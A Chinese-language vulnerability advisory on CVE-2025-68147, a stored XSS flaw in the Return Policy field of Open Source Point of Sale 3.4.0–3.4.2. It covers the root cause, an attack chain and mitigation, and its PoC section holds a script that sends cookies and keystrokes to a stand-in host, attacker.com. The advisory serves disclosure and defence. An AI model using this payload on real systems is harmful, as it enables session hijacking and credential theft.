IPBUF安全漏洞报告
English
CVE-2025-68147 CVSS 8.1 高危

CVE-2025-68147 Open Source Point of Sale存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68147
漏洞类型
存储型XSS
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Open Source Point of Sale (opensourcepos)

相关标签

存储型XSSCVE-2025-68147Open Source Point of SaleopensourceposCodeIgniter收据模板退货政策会话劫持Web应用安全

漏洞概述

Open Source Point of Sale(opensourcepos)是一款基于PHP和CodeIgniter框架开发的Web应用程序,用于零售点销售管理。该应用在3.4.0至3.4.2版本中存在严重的存储型跨站脚本(Stored XSS)漏洞,漏洞位于"退货政策"(Return Policy)配置字段。攻击者通过利用该漏洞,可在退货政策字段中注入恶意JavaScript代码,这些代码会被永久存储在数据库中。当其他用户(如管理员、销售人员)在查看收据或完成交易时,恶意脚本会在其浏览器中自动执行。此漏洞可导致会话劫持、敏感数据泄露、凭据窃取等严重安全问题。由于该漏洞需要高权限用户(如管理员)操作,因此攻击者可能首先利用其他独立存在的CSRF漏洞获取管理员权限,进而实施XSS攻击。漏洞已于3.4.2版本中通过在收据模板中使用esc()函数进行输出转义得到修复。

技术细节

该漏洞的根本原因在于Open Source Point of Sale应用在处理"退货政策"配置字段时未进行充分的输入验证和输出转义。应用程序直接将用户输入的退货政策内容保存到数据库,随后在收据模板中渲染显示时未调用适当的转义函数。具体技术细节如下:1)输入层面:Store Configuration模块中的退货政策字段接受用户输入,但后端控制器仅进行基础验证,未过滤或转义HTML/JavaScript特殊字符;2)存储层面:恶意Payload被直接存入数据库的configuration表中,以明文形式持久化存储;3)输出层面:收据视图模板在渲染退货政策内容时,直接输出未经转义的数据,导致嵌入的JavaScript代码被浏览器解析执行。攻击者可通过构造如<script>alert(document.cookie)</script>等Payload,在管理员或销售人员查看收据时触发恶意脚本。由于收据功能在日常交易流程中被频繁调用,攻击面广泛且影响持久。修复方案为在所有输出点使用CodeIgniter框架提供的esc()函数进行HTML实体转义。

攻击链分析

STEP 1
步骤1
攻击者获取Open Source Point of Sale的管理员账户权限(通过社会工程学、密码爆破或利用独立的CSRF漏洞)
STEP 2
步骤2
攻击者登录管理后台,导航至Store Configuration页面
STEP 3
步骤3
攻击者在Return Policy字段中注入恶意JavaScript Payload,如<script>恶意代码</script>
STEP 4
步骤4
应用程序将未经转义的Payload保存至数据库configuration表中
STEP 5
步骤5
受害者(如其他管理员或销售人员)查看收据或完成交易
STEP 6
步骤6
收据模板渲染时,未转义的恶意JavaScript在受害者浏览器中执行
STEP 7
步骤7
攻击者通过JavaScript窃取受害者Cookie、会话令牌或其他敏感信息
STEP 8
步骤8
攻击者利用窃取的会话进行进一步横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-68147 Stored XSS PoC for Open Source Point of Sale --> <!-- Login as admin and navigate to Store Configuration --> <!-- Inject the following payload in the 'Return Policy' field --> <script> // Steal session cookies var cookies = document.cookie; // Send stolen data to attacker-controlled server fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies), { method: 'GET', mode: 'no-cors' }); // Alternative: Keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key, {mode: 'no-cors'}); }); </script> <!-- When any user views a receipt, the script executes -->

影响范围

Open Source Point of Sale (opensourcepos) >= 3.4.0
Open Source Point of Sale (opensourcepos) < 3.4.2

防御指南

临时缓解措施
作为临时缓解措施,管理员应确保"退货政策"(Return Policy)字段仅包含纯文本,严格避免输入任何HTML标签或JavaScript代码。同时应审查现有配置数据,移除可能存在的恶意内容。建议限制管理后台访问权限,仅授权必要人员访问,并监控日志以检测异常操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表